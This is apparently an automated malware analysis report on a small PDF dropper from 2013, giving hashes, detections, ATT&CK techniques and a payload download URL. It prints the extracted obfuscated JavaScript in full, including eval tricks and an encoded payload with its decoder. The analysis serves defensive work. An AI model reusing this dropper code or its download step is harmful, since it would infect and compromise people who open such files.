Malicious PDF — malware analysis report

Static analysis result for SHA-256 04f68dccc00d22a0…

MALICIOUS

PDF

2.8 KB First seen: 2013-08-20
MD5: f7b93c2e023cb4f8dd683a872070cbd6 SHA-1: 6d44679dd37b9bb1b4d284497086f5bb1ef49888 SHA-256: 04f68dccc00d22a01c84efee7a1dc1f1ce0455fd7123b4e1225c3748982d13a1
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that utilizes eval() and String.fromCharCode() to decode and execute malicious code. This script is designed to exploit a known PDF vulnerability, leading to the download of a secondary payload from the URL http://I.MK/48. The ML classifier and ClamAV detection strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-1828634 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828634
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('ipgvald=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://I.MK/48 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 258 bytes
SHA-256: f63cb82aacba7988c78ed3b7d51b4fad3e66b92ab25674873bf78f89c903d698
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('ipgvald=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x267 3270 bytes
SHA-256: 747050103b9a908c3b642ab16d37d212188d4809644ab86d3d3aed33a5a8e885
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
krerbo="0P1K1a1f2Z1d2d1b3V3X1]1^2c3K1V1Y2b1W3Z3_1R1S272f1P3^1N3S1L3f3h191H3`1F2^1@1C2S1A3I3Q1<1=3W3c1:2X3R0[163M143L123d1*1-1.2Y2e1+2T2W0c0f0g3/330d3+3-0_0`3G3T0]3=3E0Y2[0W3]0U2h0S3b0Q2V2g0:0K0L2O3O0?0H3P0D0E242R0B3a0@2L2U0=2_0;3N3Y06072J2]042`2a";iufocv="RJf-ChH9O-dG@Mcb?E/H90QhJ_MU-gFTCMgYQZ_d?E/H90OcD;`VaYcb@EMjZD;`Ki8?6^6E/H90VUba7LY1M;_d>^-iFTCMBU[c`Mf0[AM[SH92_H7Y1Zeb?+jB72i7[PU-S]SP9<E;cI0[AM[ReFT1gd>8?-O=6U/H[FOF@LY9/EBiZHAf0h99/E??K_d>^4[AVB^1a*XJZ0*Z01=O=6U/HZW`^a9V+GV***1=O=6U/HZ_?V7H@f1a293dK=>`De.dA+,GY8K86fc:=8e.*33,**+,GF*:Nb.?,4F/_3hP+,@*/:KK/+,.D+N2-5+,0*;T.5FdN3B,7:NW*<.2_*R;?U+,@*O_2;R[N2SOJK86fc=SDP.**G,*c*K0T=62-U=,**+,=:1:Ob]<.**G,G:*K,,eB:MS5,G57K**1:QD*:K*gN2**.3<J+,@NA:J*-R:JJ,.2e<ZQ<^B:*+_2SZ+,*eQZK,Va.?ZP:JEeR:**2<M;*K-5*.2:JI,4`^2<@UI,6iCK/D/R:JJ,.2e<ZOXCV2*+V3aJ.25T>K*GaZJ**:NO24.CS1:JEZ:J**:Q+aZJXS<.+bI,**+,*1OK*-]ZNO24.CS1:J8eB:**2:JXa.2e<ZKK0E,**E,GR+,*1OK5JS<.-Y5,<>JR;PNG,*fSK***K4>fB=LLe.**G,..*:K1<@.e@E,**8K8_*K,+d2:**2<O*,.W2XK**1:K+*.2;_OK8OPZJ*-R;=J,.+`9K,/CV2UK6K*bdK***K47.,.6V*:K,+g2UA6K3DWg2^dP.?R@K,,*2:MS5,@dPZJ*0ZQD*:JXS<.+bE,**+,<>JR;PNG,+Y+,**+,F1E,,eO2:1Gg2**.2*H@.*95,<>JR;PNG,*fSK***K,,fB:MS5,/hPZJ*0ZQD*:J+dB<c4>K*f]ZNO24.CS1:J8eB:**2<O8a.cRXK**1:JUJ,.eQA:Q/eB=PX/,6?[2:**2:**2:**2:**2:**2:**2:**2:**2=iVC,GB]_3hbh,F+J:KOYG,@Gd2<^*,.hb_K56i_3ii4.h[PZKJM7K*,^R=iVC,F+OR=e0E,@GeR=fID.jM7K-/04K86*2=dg>2B<b:QTjR;SR*K4D:>3:ZJR;J4,.6cVZPLSG,./:].>eJR;T@+,*,P:J**:MA*T.-A7:J**:KEYi.3Z4K*`^>2**.2B+0R:LM,:MP6i.Dc/:JDdT.**,.DX3G,+UT:J**:J45G,8D3_2*+V2?R*K*>@e.F_=R:*-B=J*2:W[@R:Q*T.-A7:J**:Q<?T.XD>e.f]b:K8+>20XDK***K0H:>3FB:>3;Q8K,j;>2CEK:Q</R<@U4K8P;:O^K4K*?2:PP.e.**a.>c*K+I=c:Wbj,<-1:J4-B;`,G,**E,..*:KEPI,.c/:JDdT.**,.OSLR:*F.2**.2**.2**.2**.2**.2**.2**.2::+,8D3_2*+V3bJ.3386K4>cN3<O4:Q=`2:1/DK,*]B;SS>ZJDCD.Pe@R=XBT.V^WK5>WG,E7SK56WD.*56K8bXK5@V].66iN3f9P.hb_K8WhR<bj<.hQLK58jR:Z*,.jjW,0*C_3VjD.63j:J+j:KPiT.6?fR=CgN3d-*K**Z2:]bNK-*6W,E;;B=fE<.iIS,IYLK9GiZP]BT.iQTK7Sh_3W9G,E9VK92B.2TKJ:LUY/,*,U:JJ*4dBG8?6]V?f-^/RD;gIBD4a0Y5FY-<8WP`j0e^=S]SP?LYB72i9V5GFhMGd?96@KS1]YZ/`;/K_d>^4[AVE/H90VIBJgQP/7=?UR::,,..*JUOK_d>^0[AM[U1a>9O`D9MG?V?cgDIa-<8V8Q4PC@4hM5_17fMf4U0BbH*Xa***/P7[KEUQMS]SP>YH]U@4hM5_17ciZ-X6Y:FbMj[Oe-Ph8c]h+^H?hILZj14PCP5NUL_?dcUCYf5_17Wg[hMBU[c`OIKRUBDgW[_d>^-iFTCOBUaA`SHR7HjBi[+d964DPUA:J6+N2-*CA5-S]SP9]iI-=O@iW5`+UbdH0NGE7Ui9j5@/aU-hI@OeJ`fhOHi]iW5`+UbceI^O=67UdgH[HCH66?SY[XheFIBbXgBBU<g]gBD@0ag5K=cCY2h5eSi92_b`XDeXIa5KdEEPiW5`+UbcjU-R";epdng5=2719;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/esimcl/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(krerbo.length){esimcl.push((fvhzjm(krerbo.charCodeAt(0))<<(4+2))+fvhzjm(krerbo.charCodeAt(1))-(500+12));krerbo=krerbo.slice(2,krerbo.length)}isfshv=glbzeu=krerbo=0;itduy9='';function fvhzjm(kreua){if(kreua>92)kreua--;return kreua-42}function xokudo(){if(krerbo==0){glbzeu=fvhzjm(iufocv.charCodeAt(isfshv++));krerbo=6;}return ((glbzeu>>--krerbo)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(epdng5--){i=0;while(esimcl[i]<0){if(xokudo())i=-esimcl[i];else i++;}itduy9+=String.fromCharCode(esimcl[i]);}

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